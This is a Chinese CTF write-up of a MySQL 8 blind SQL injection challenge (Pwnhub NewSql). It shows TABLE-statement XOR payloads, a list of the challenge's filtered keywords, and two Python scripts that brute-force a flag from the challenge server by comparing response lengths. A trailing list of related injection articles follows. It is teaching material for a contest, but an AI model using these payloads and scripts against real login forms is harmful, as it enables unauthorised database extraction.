是个Mysql8 特性,就是之前省赛那个,但是那个没复现到,就把这个当复现了吧。
过滤的东西,这个我没记,借鉴其他师傅的

空格 select union|and && updatexml extractvalue group|concat have sleep database insert|join where substr char mid > = || like regexp \ if exp

总结比较好的一篇文章Pwnhub2021七月赛NewSql(mysql8注入)

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

这个作用是列出表的全部内容,于是就可以利用这个语句来进行注入。

然后用于盲注的判断是

这个会让username=0&password=0然后如果有字符开头的username和password就会弱比较,返回ture通过登入到达home.php,然后记得删下cookie,就是PHPSESSID的值,不然会一直跳转home.php

我感觉用这个比较好

username='^'&password=1'^(payload)#

然后我们手动先测有几列

1'^(('{}','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/6,1))#


题比较温柔,还有报错提示

然后测出来是两个列
然后跑出库和表,基本上都是第7行开始,然后跑出了库是ctf是两个表users和f1aggghere

然后脚本判断条件是用的返回的长度,ture的时候是924,false是1742,用binary区分大小写

import requests
import sysurl="http://47.99.38.177:10084/index.php"
flag=""for i in range(100):for j in range(32,127):z=chr(j)#payload="1'^(('{}','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/6,1))#".format(flag+z)payload="1'^(('1',binary'{}')<(table/**/f1aggghere/**/limit/**/0,1))#".format(flag+z)data={"username":"'^'","password":payload}r=requests.post(url,data=data)if len(r.text)==1742:flag+=chr(j-1)print(flag)breakif j==126:flag=flag[:-1]+chr(ord(flag[-1])+1)print(flag)sys.exit(0)

flag{}里的内容

th1s1sthefl0gggth0ty0ua1waysw0nt

然后ascii码直接换字母数字和一些特殊字符会跑的快点,毛病也会少些吧,不过一定要注意ascii的小,另一个版本

import requests
import sysurl="http://47.99.38.177:10084/index.php"
ascii="/0123456789:;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_.{|}~"
flag=""for i in range(100):for j in ascii:#payload="1'^(('{}','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/6,1))#".format(flag+j)payload="1'^(({},'')<(table/**/f1aggghere/**/limit/**/0,1))#".format(flag+j)#payload="1'^(('def','ctf','{}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table/**/information_schema.tables/**/limit/**/325,1))#".format(flag+j)data={"username":"'^'","password":payload}r=requests.post(url,data=data)if len(r.text)==1742:flag+=chr(ord(j)-1)print(flag)if flag[-1]=='.':print(flag[:-1])sys.exit(0)breakif j=='~':flag=flag[:-1]+chr(ord(flag[-1])+1)print(flag)sys.exit(0)


这个原因是因为比较的时候是弱比较,然后他的1是int型的

胖哈勃 web--NewSql Mysql 8 注入相关推荐

  1. web安全学习-sql注入-针对mysql的攻击

    文章目录 1. 前言 补充:读取客户端本地文件到服务端mysql数据库 补充:利用全局日志写shell 补充:修改mysql的root密码 补充:配置远程登录 补充:低权限下读文件 补充:高版本mys ...

  2. mysql注入扫描网站漏洞工具_sql注入点扫描工具下载-PHP+MYSQL网站注入扫描工具免费版 - 维维软件园...

    你想进行SQL网站注入扫描吗,那么你肯定需要使用专门的注入扫描工具了,请来下载PHP+MYSQL网站注入扫描工具试试吧,本工具是专门针对PHP网站所编写的一款小工具,软件界面是仿教程的hdsi中的PH ...

  3. web连接mysql数据库_java web与数据库相连,具体怎么做

    展开全部 1.首先要移动mysql-connector-java-5.1.44-bin.jar到tomactde的lib目录下(我的目录是这样32313133353236313431303231363 ...

  4. 关于web安全之sql注入攻击

    前言:①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促, 能力有限,不到之处请大家批评指正: ②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是 ...

  5. mysql create注入语句_mysql注入总结

    作者:L.N. 时间:2012-07-23 博客:lanu.sinaapp.com 目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert.update) 0 ...

  6. PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)

    PWNHUB 五月公开赛+内部赛 writeup [5月公开赛]MyNotes [5月公开赛]TemplatePlay [胖哈勃内部赛|五月,你好!]MockingMail [胖哈勃内部赛|五月,你好 ...

  7. Web安全Day1 - SQL注入实战攻防

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.Web安全Day1 - SQL注入实战攻防 http ...

  8. javaweb实现mysql备份功能_java web 实现mysql 数据库备份、恢复

    如题,由于项目需要,研究并实现了java web的 mysql数据库的备份.下载.恢复功能,中间遇到一些问题,耗费了不少时间,下面让我一一道来: 背景介绍: window 7系统 mysql 5.7 ...

  9. concat mysql sql注入_sql注入-mysql注入基础及常用注入语句

    最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...

最新文章

  1. 判断一个IP区间(或IP)是否被另一个IP区间所包含
  2. AJAX Control Toolkit 30930
  3. Jenkins TFS配置
  4. jsp调用controller方法_SpringMVC五大核心组件及调用过程
  5. 3A公司年薪30万建模师总结:怎么做才能学好3D建模?
  6. android 画笔
  7. F - XOR Equation CodeForces - 635C (数学)
  8. NYOJ题目91-阶乘之和
  9. JDK 安装 Java环境变量配置 详细教程
  10. 松下弧焊机器人 调电压_松下焊接机器人操作规程
  11. chrome浏览器打开网页,总是跳转到2345主页的解决方法 2345.com 绑架主页
  12. 基本流水线与记分牌算法和Tomasulo算法
  13. 使用神器vscode代替beyond compare进行文本比较高亮显示
  14. 计算机网络之数据链路层原理
  15. 视频压缩软件,视频压缩软件哪个最好用?
  16. PyCharm中光标变粗的解决方法
  17. python-关于时间处理的知识
  18. 小程中的data数据如何赋值获取
  19. 微信html字体颜色代码,微信小程序在text文本实现多种字体样式
  20. 燕山大学课程实践项目报告:ISBN号识别系统的设计与开发

热门文章

  1. 使用opencv检测视频人脸
  2. Qt实现多级菜单及设置菜单的宽度
  3. 如何把word保存为pdf并加密
  4. 极品飞车服务器维修好久,极品飞车无限狂飙被封锁多久能解 | 手游网游页游攻略大全...
  5. 奥塔在线:Centos下使用rpm方式安装crontab服务
  6. 关于GPS经纬度如何转百度经纬度
  7. ASP 、PHP 代码加密的安全性逻辑思考
  8. 华为设备路由策略配置命令
  9. 笔记本计算机涂硅脂,硅脂,教您怎么在电脑CPU上涂散热硅脂
  10. 微信知识付费小程序梦想贩卖机v2-1.0.67源码下载+无限裂变